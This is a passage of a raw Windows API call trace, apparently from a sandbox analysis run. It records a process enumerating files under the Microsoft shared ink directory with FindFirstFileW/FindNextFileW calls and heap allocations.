ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0091.368] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.368] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0091.368] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0091.368] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0091.368] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.368] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0091.368] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0091.368] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0091.369] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.369] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0091.369] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0091.369] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0091.369] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.369] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0091.369] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred", cAlternateFileName="")) returned 1 [0091.370] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0091.370] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.370] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0091.370] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0091.370] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0091.370] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.370] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0091.370] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols", cAlternateFileName="")) returned 1 [0091.370] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0091.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0091.371] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.371] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0091.371] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0091.372] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0091.372] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0091.372] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0091.372] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0091.372] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0091.372] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0091.372] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0091.372] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0091.372] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0091.373] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0091.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0091.373] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.373] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.373] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.373] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0091.373] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0091.374] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0091.374] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0091.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0091.374] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.374] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.374] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.374] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0091.374] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0091.374] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0091.375] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0091.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0091.375] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.375] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.375] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.375] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0091.375] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0091.375] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0091.375] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, 